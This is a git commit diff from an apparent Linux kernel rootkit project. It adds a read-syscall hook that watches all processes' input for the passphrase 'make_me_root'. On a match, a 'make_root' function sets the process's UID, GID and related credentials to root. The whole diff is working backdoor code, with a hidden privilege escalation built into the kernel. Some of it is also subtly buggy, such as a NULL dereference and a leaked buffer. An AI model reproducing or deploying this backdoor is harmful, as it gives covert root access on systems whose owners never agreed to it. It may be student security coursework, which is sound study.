commit e4895af9e60b1acbcac253e816821ddc780f3e80
parent c5a3727d84aad1043e624183e947466f5121ba9f
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date: Sat, 28 Nov 2020 14:48:20 +0100
Merge readhook functionality
Diffstat:
5 files changed, 201 insertions(+), 1 deletion(-)
diff --git a/src/creds.c b/src/creds.c
@@ -0,0 +1,33 @@
+#include <linux/cred.h>
+
+#include "creds.h"
+
+void
+make_root(void)
+{
+ struct cred *new;
+
+ if(!(new = prepare_creds()))
+ return;
+
+ kuid_t root_u = make_kuid(new->user_ns, 0);
+ kgid_t root_g = make_kgid(new->user_ns, 0);
+
+ //Effective and real UID
+ new->euid = root_u;
+ new->uid = root_u;
+
+ //Effective and real GID
+ new->egid = root_g;
+ new->gid = root_g;
+
+ //Saved UID and GID
+ new->suid = root_u;
+ new->sgid = root_g;
+
+ //VFS-Ops UID and GID
+ new->fsuid = root_u;
+ new->fsgid = root_g;
+
+ commit_creds(new);
+}
+\ No newline at end of file
diff --git a/src/creds.h b/src/creds.h
@@ -0,0 +1,2 @@
+
+void make_root(void);
diff --git a/src/hook.c b/src/hook.c
@@ -10,6 +10,7 @@
#include "rootkit.h"
#include "filehide.h"
#include "backdoor.h"
+#include "read.h"
extern rootkit_t rootkit;
@@ -84,7 +85,15 @@ enable_protection(void)
asmlinkage ssize_t
g7_read(const struct pt_regs *pt_regs)
{
- return sys_read(pt_regs);
+ long ret = sys_read(pt_regs);
+
+ //Just like the SystemV-CC (ignoring fd)
+ char *buf = (char *)pt_regs->si;
+ size_t count = pt_regs->dx;
+
+ handle_pid(current->pid, buf, count);
+
+ return ret;
}
// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c
diff --git a/src/read.c b/src/read.c
@@ -0,0 +1,131 @@
+#include <linux/hashtable.h>
+#include <linux/kernel.h>
+#include <linux/slab.h>
+
+#include "read.h"
+#include "common.h"
+#include "hook.h"
+#include "creds.h"
+
+DEFINE_HASHTABLE(pid_ht, 8);
+
+static const char *accept = "makerot_";
+
+static int
+is_valid(char *buf, size_t size)
+{
+ //Small performance optimization when only reading one char
+ //Avoids strspn
+ if(size == 1) {
+ if((buf[0] >= 'a' && buf[0] <= 'z') || buf[0] == '_') {
+ return strspn(buf, accept) > 0;
+ }
+
+ return 0;
+ }
+
+ return strspn(buf, accept) > 0;
+}
+
+static void
+add_entry(pid_t key)
+{
+ struct pid_entry *cur;
+ struct pid_entry *new = kzalloc(sizeof(struct pid_entry), GFP_KERNEL);
+ new->pid = key;
+ new->str = kzalloc(MAX_BUF, GFP_KERNEL);
+ new->capacity = MAX_BUF;
+ new->iter = 0;
+
+
+ int found = 0;
+ hash_for_each_possible(pid_ht, cur, hlist, key)
+ if(cur->pid == key)
+ found = 1;
+
+ if(!found)
+ hash_add(pid_ht, &new->hlist, key);
+}
+
+static void
+remove_entry(pid_t key)
+{
+ struct pid_entry *cur;
+
+ hash_for_each_possible(pid_ht, cur, hlist, key) {
+ if(cur->pid == key) {
+ kfree(cur->str);
+ hash_del(&cur->hlist);
+ kfree(cur);
+ }
+ }
+}
+
+static struct pid_entry *
+get_entry(pid_t key)
+{
+ struct pid_entry *cur;
+
+ hash_for_each_possible(pid_ht, cur, hlist, key)
+ if(cur->pid == key)
+ return cur;
+
+ return NULL;
+}
+
+static void
+handle_compare(char *buf, pid_t pid, size_t size)
+{
+ struct pid_entry *entry;
+ entry = get_entry(pid);
+
+ int i = 0;
+
+ if(entry) {
+ fill:
+ while(i < size && entry->capacity > 0) {
+ entry->str[entry->iter] = buf[i];
+ entry->capacity--;
+ i++;
+ entry->iter++;
+ }
+
+ if(strnstr(entry->str, PASSPHRASE, MAX_BUF)) {
+ make_root();
+ return;
+ }
+
+ if(entry->capacity == 0) {
+ memmove(entry->str, (entry->str + 12), 12);
+ entry->capacity = entry->iter = 12;
+
+ goto fill;
+ }
+ }
+
+ if(strstr(entry->str, PASSPHRASE))
+ make_root();
+}
+
+void
+handle_pid(pid_t pid, __user char *buf, size_t size)
+{
+ char *str = kzalloc(size, GFP_KERNEL);
+ copy_from_user(str, buf, size);
+
+ //Early return on exact match
+ if(strnstr(str, PASSPHRASE, size)) {
+ make_root();
+ return;
+ }
+
+ if(is_valid(str, size)) {
+ add_entry(pid);
+ handle_compare(buf, pid, size);
+ } else {
+ //Throw out hashtable entries on invalid input
+ remove_entry(pid);
+ }
+
+ kfree(str);
+}
+\ No newline at end of file
diff --git a/src/read.h b/src/read.h
@@ -0,0 +1,22 @@
+#ifndef _GROUP7_READ_H
+#define _GROUP7_READ_H
+
+#define PASSPHRASE "make_me_root"
+#define PASSHPHRASE_LEN 12
+#define MAX_BUF 23 //We never need to save more than 23 Bytes
+
+
+void handle_pid(pid_t, __user char *, size_t);
+void hook_read(void);
+void unhook_read(void);
+
+struct pid_entry {
+ pid_t pid;
+ char *str;
+ int capacity;
+ int iter;
+ struct hlist_node hlist;
+};
+
+
+#endif//_GROUP7_READ_H
+\ No newline at end of file